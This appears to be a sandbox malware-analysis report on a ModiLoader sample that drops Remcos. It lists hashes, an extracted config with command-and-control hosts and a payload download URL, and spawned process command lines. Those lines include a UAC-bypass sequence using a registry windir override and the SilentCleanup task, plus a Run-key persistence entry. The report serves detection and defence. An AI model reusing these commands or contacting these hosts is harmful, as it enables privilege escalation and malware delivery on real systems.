modiloader | 21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731

General

Target

21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe
Size

833KB
MD5

8852e37e8b91c314b1f0a7cfb404baf4
SHA1

4dbcbeb9a4508f375fa445acfeb8cdc9de6d8391
SHA256

21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731
SHA512

55b09dbfcccf48f3f11fb12b55842f236db5035ece1bd4f7e9a63b4924639e57d531f19eeeb05d8a927c197bb27bbd8fdce1118439437320b88d6bf011ecf198

Score

10^/10

modiloader remcos xxxxxxxxxxx persistence rat suricata trojan

Malware Config

Extracted

Family

modiloader

C2

https://cdn.discordapp.com/attachments/752128569169281083/759306068374847508/Stvd123

Extracted

Family

remcos

Version

2.7.0 Light

Botnet

xxxxxxxxxxx

C2

perrymason.ac.ug:6969

jkhxcvklsdflujkjhgdfuyter.ru:6969

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
cvxdsaxzcas-N6K9PL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
suricata: ET MALWARE Possible Zeus GameOver/FluBot Related DGA NXDOMAIN Responses
suricata: ET MALWARE Possible Zeus GameOver/FluBot Related DGA NXDOMAIN Responses
suricata

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1908-131-0x0000000004460000-0x00000000044BC000-memory.dmp	modiloader_stage1

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stvd = "C:\\Users\\Admin\\AppData\\Local\\Stvd.url"	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

3512 reg.exe
4568 reg.exe
1552 reg.exe

pid	process
3512	reg.exe
4568	reg.exe
1552	reg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe

description	pid	process	target process
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe
PID 1908 wrote to memory of 4528	1908	21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe	Notepad.exe

C:\Users\Admin\AppData\Local\Temp\21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe
"C:\Users\Admin\AppData\Local\Temp\21b1a3fbb83c460c9282177e1402c2c68402dafd3b086fc40f231ac5cad88731.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\SysWOW64\Notepad.exe
"C:\Windows\System32\Notepad.exe"
2⤵
PID:4528

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
3⤵
PID:5036

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
4⤵
PID:4000

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
4⤵
- Modifies registry key
PID:3512

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
4⤵
- Modifies registry key
PID:4568

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
4⤵
- Modifies registry key
PID:1552

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Public\Natso.bat
3⤵
PID:3208

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
2⤵
PID:5012

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Natso.bat
Filesize
283B

MD5
5cc1682955fd9f5800a8f1530c9a4334

SHA1
e09b6a4d729f2f4760ee42520ec30c3192c85548

SHA256
5562cc607d2f698327efacc4a21bd079bb14a99b03e7a01b3c67f8440e341cb3

SHA512
80767263aad44c739236161d4338d5dd8b0b58613f22cd173c3e88ebf143220ee56bbf93ace69a07d3c2f00daff0adbaa8461a1d53d12699725395c931c43cb6

Download Submit
memory/1552-159-0x0000000000000000-mapping.dmp

Download
memory/1908-138-0x0000000004A90000-0x0000000004AE1000-memory.dmp

Filesize
324KB

Download
memory/1908-147-0x0000000050480000-0x000000005049A000-memory.dmp

Filesize
104KB

Download
memory/1908-131-0x0000000004460000-0x00000000044BC000-memory.dmp

Filesize
368KB

Download
memory/1908-156-0x0000000010530000-0x000000001054A000-memory.dmp

Filesize
104KB

Download
memory/3208-166-0x0000000000000000-mapping.dmp

Download
memory/3512-162-0x0000000000000000-mapping.dmp

Download
memory/4000-161-0x0000000000000000-mapping.dmp

Download
memory/4528-146-0x0000000000000000-mapping.dmp

Download
memory/4528-163-0x0000000050480000-0x000000005049A000-memory.dmp

Filesize
104KB

Download
memory/4568-160-0x0000000000000000-mapping.dmp

Download
memory/5012-155-0x0000000000000000-mapping.dmp

Download
memory/5012-164-0x0000000010530000-0x000000001054A000-memory.dmp

Filesize
104KB

Download
memory/5012-165-0x0000000000860000-0x0000000000877000-memory.dmp

Filesize
92KB

Download
memory/5036-153-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads